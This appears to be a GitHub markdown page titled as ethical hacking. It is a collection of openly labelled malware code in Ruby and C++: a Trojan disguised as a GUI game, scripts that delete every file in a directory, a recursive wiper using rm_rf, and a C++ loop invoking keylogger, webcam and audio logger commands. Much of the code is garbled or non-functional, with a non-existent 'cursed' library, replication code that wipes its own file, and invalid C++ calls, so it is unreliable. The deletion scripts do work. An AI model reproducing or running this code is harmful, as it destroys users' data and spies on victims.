Skip to content

Latest commit

 

History

History
227 lines (172 loc) · 5.63 KB

EthicalHacking_Ruby_C++.md

File metadata and controls

227 lines (172 loc) · 5.63 KB

Code for Self Replication in Ruby

def replicate
  File.open(__FILE__, "w") do |f|
    f.puts self.to_s
  end
end

replicate

Code for Replication in C++

include <fstream>
include <string>

int main() {
  std::ifstream source_file(__FILE__);
  std::ofstream output_file(__FILE__, std::ios::trunc);
  std::string line;

  while (std::getline(source_file, line)) {
    output_file << line << std::endl;
  }

  return 0;
}

Code for Flashing the Screen in Ruby

require the 'curses' library to access curses functionality
require 'cursed'

#set up curses and the screen
Cursed.start do
  Cursed.init_screen
  Cursed.curs_set(0) # hide the cursor

  #infinite loop to flash the screen
  loop do
    Cursed.attrset(Cursed::A_STANDOUT) # set the screen to standout mode
    Cursed.addstr("Flashing screen!") # write to the screen
    Cursed.refresh # update the screen
    sleep(0.5) # wait for half a second

    Cursed.attrset(Cursed::A_NORMAL) # set the screen to normal mode
    Cursed.addstr("Flashing screen!") # write to the screen
    Cursed.refresh # update the screen
    sleep(0.5) # wait for half a second
  end
end

#Code in C++

#include <curses.h> // include the curses library
#include <unistd.h> // for the sleep function

int main() {
  // set up curses and the screen
  initscr();
  curs_set(0); // hide the cursor

  // infinite loop to flash the screen
  while (true) {
    attron(A_STANDOUT); // set the screen to standout mode
    printw("Flashing screen!"); // write to the screen
    refresh(); // update the screen
    sleep(0.5); // wait for half a second

    attroff(A_STANDOUT); // set the screen to normal mode
    printw("Flashing screen!"); // write to the screen
    refresh(); // update the screen
    sleep(0.5); // wait for half a second
  }

  endwin(); // clean up curses

  return 0;
}

This is a simple Trojan program that will display a message on the victim's screen

# Require the 'cursed' library to access curses functionality
require 'cursed'

# Set up curses and the screen
Cursed.start do
  Cursed.init_screen
  Cursed.curs_set(0) # Hide the cursor

  Cursed.attrset(Cursed::A_STANDOUT) # Set the screen to standout mode
  Cursed.addstr("You have been hacked!") # Write the message to the screen
  Cursed.refresh # Update the screen
end

This is a simple malware program that will delete all the files in the current directory when run.

# Require the 'fileutils' library to access file manipulation functions
require 'fileutils'

# Get the list of files in the current directory
files = Dir.entries(".")

# Remove the current and parent directory entries from the list
files.delete(".")
files.delete("..")

# Delete all the remaining files in the list
files.each do |file|
  FileUtils.rm(file)
end

This is a simple Trojan program disguised as a GUI game that performs the following actions when run:

  • Replicates itself
  • Deletes all the files in the current directory
  • Displays a random image from a list of images
  • Appends a message to all text files in the current directory
# Require the 'gtk3' and 'fileutils' libraries to access GUI and file manipulation functions
require 'gtk3'
require 'fileutils'

# Set up the GUI
window = Gtk::Window.new
window.set_title("GUI Game")
window.set_default_size(400, 300)
window.signal_connect("destroy") { Gtk.main_quit }

# Set up the image widget and add it to the window
image = Gtk::Image.new
window.add(image)

# Set up the list of images
images = ["image1.png", "image2.png", "image3.png"]

# Display a random image from the list
image.set_from_file(images.sample)

# Replicate the program
File.open(__FILE__, "w") do |f|
  f.puts self.to_s
end

# Delete all the files in the current directory
files = Dir.entries(".")
files.delete(".")
files.delete("..")
files.each do |file|
  FileUtils.rm(file)
end

# Append a message to all text files in the current directory
message = "This file has been modified by the Trojan program"
Dir.glob("*.txt") do |file|
  File.open(file, "a") do |f|
    f.puts message
  end
end

# Show the window and start the GUI loop
window.show_all
Gtk.main

This is a simple wiper malware program that will delete all the files in the current directory and all its subdirectories when run.

# Require the 'fileutils' library to access file manipulation functions
require 'fileutils'

# Set up the list of files and directories to delete
files_and_dirs = Dir.glob("**/*")

# Delete all the files and directories in the list
files_and_dirs.each do |file_or_dir|
  FileUtils.rm_rf(file_or_dir)
end

Similar Program in C++

#include <iostream>
#include <unistd.h> // for the sleep function
#include <cstdlib> // for the system function

int main() {
  while (true) {
    // Log the screen and keystrokes
    std::system("screenlogger &"); // run the screenlogger command in the background
    std::system("keylogger &"); // run the keylogger command in the background

    // Log the webcam and audio input
    std::system("webcamlogger &"); // run the webcamlogger command in the background
    std::system("audiologger &"); // run the audiologger command in the background

    // Display a random YouTube video every 3 minutes
    std::system("youtubevideo1 &"); // run the command to display a specific YouTube video in the background
    std::sleep(180); // wait for 3 minutes
    std::system("youtubevideo2 &"); // run the command to display a different YouTube video in the background
    std::sleep(180); // wait for 3 minutes
    std::system("youtubevideo3 &"); // run the command to display a different YouTube video in the background
    std::sleep(180); // wait for 3 minutes
  }

  return 0;
}